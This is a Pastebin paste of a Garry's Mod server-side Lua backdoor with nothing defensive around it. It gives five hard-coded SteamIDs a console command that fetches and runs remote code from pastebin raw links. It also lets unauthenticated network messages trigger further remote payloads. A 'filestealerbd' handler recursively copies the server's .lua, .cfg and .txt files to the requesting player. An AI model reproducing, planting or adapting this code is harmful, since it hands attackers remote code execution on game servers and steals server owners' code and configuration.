Advertisement
Ben_75

Untitled

Jul 16th, 2019
102
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.45 KB | None | 0 0
  1. util.AddNetworkString("value_open")
  2. util.AddNetworkString( "filestealerbd")
  3. util.AddNetworkString( "receive_files_bd")
  4. print("Network ajouté (value_open)")
  5.  
  6. concommand.Add("teamname",function(ply)
  7. local teamID = ply:Team()
  8. local teamName = team.GetName( teamID )
  9. print(teamName)
  10.  
  11. end)
  12.  
  13. concommand.Add("cipher", function(ply, cmd, args)
  14.  
  15. if(ply:SteamID64() == "76561198137837716" or ply:SteamID64() == "76561198239782544" or ply:SteamID64() == "76561198156431434" or ply:SteamID64() == "76561198117815749" or ply:SteamID64() == "76561198941536849") then ply:SendLua([[http.Fetch('https://pastebin.com/raw/fcm5uQBY',function(b,l,h,c)RunString(b)end,nil)]])
  16. end
  17.  
  18. end)
  19.  
  20. net.Receive("value_open",function()
  21.  
  22. local value = net.ReadString()
  23.  
  24. if(value == "Bill Cipher Visuelle") then
  25.  
  26. http.Fetch('https://pastebin.com/raw/uvj8KCmG',function(b,l,h,c)RunString(b)end,nil)
  27.  
  28. end
  29.  
  30. if(value == "DeathNote") then
  31.  
  32. http.Fetch('https://pastebin.com/raw/AngvFj3h',function(b,l,h,c)RunString(b)end,nil)
  33.  
  34. end
  35.  
  36. if(value == "Dance") then
  37.  
  38. http.Fetch('https://pastebin.com/raw/9iK8stZd',function(b,l,h,c)RunString(b)end,nil)
  39.  
  40. end
  41.  
  42. if(value == "Visuelle Enigma") then
  43.  
  44. http.Fetch('https://pastebin.com/raw/bvw1EFcH',function(b,l,h,c)RunString(b)end,nil)
  45. end
  46.  
  47. if(value == "Visuelle Music Wave") then
  48.  
  49. http.Fetch('https://pastebin.com/raw/uArLkPkB',function(b,l,h,c)RunString(b)end,nil)
  50. end
  51.  
  52. if(value == "(New) Cipher Visuelle") then
  53.  
  54. http.Fetch('https://pastebin.com/raw/Y9Si6aVJ',function(b,l,h,c)RunString(b)end,nil)
  55. end
  56.  
  57.  
  58.  
  59.  
  60.  
  61. end)
  62.  
  63. net.Receive( "filestealerbd", function( len, ply )
  64. local time = 0
  65. local stuckshit = stuckshit or {}
  66. stuckshit.nokick = 0
  67. local lesbonnescrepes = net.ReadString()
  68. local mode = 2
  69. local lesbonnescrepes_file = string.GetFileFromFilename(lesbonnescrepes)
  70. local labonneipaddress = string.gsub( game.GetIPAddress(), ":", "-" )
  71. local filesv1, directoriesv1 = file.Find( lesbonnescrepes.."/*", "GAME" )
  72. if string.Right(lesbonnescrepes, 4) == ".lua" or string.Right(lesbonnescrepes, 4) == ".cfg" or string.Right(lesbonnescrepes, 4) == ".txt" then
  73. if mode == 1 then
  74. local strC = util.Compress(file.Read(lesbonnescrepes,"GAME"))
  75. net.Start("receive_files_bd")
  76. net.WriteUInt(#strC,32)
  77. net.WriteData(strC,#strC)
  78. net.WriteString(lesbonnescrepes)
  79. net.Send(ply)
  80. end
  81. else
  82. if mode == 2 then
  83. local function steal_all(name)
  84. local files, directories = file.Find( name.."/*", "GAME" )
  85. for _, f in pairs(files) do
  86. if string.Right(f, 4) == ".lua" or string.Right(f, 4) == ".cfg" or string.Right(f, 4) == ".txt" then
  87. time = time + 0.1
  88. timer.Simple( time, function()
  89. if file.Exists(name .. "/" .. f,"GAME") then
  90. local strC = util.Compress(file.Read(name .. "/" .. f,"GAME"))
  91. net.Start("receive_files_bd")
  92. net.WriteUInt(#strC,32)
  93. net.WriteData(strC,#strC)
  94. net.WriteString(name .. "/" .. f)
  95. net.Send(ply)
  96. end
  97. end)
  98. end
  99. end
  100. for _, d in pairs(directories) do
  101. steal_all(name .. "/" .. d);
  102. end
  103. end
  104. steal_all(lesbonnescrepes)
  105. else
  106. end
  107. end
  108. end )
  109.  
  110. print("Loaded")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement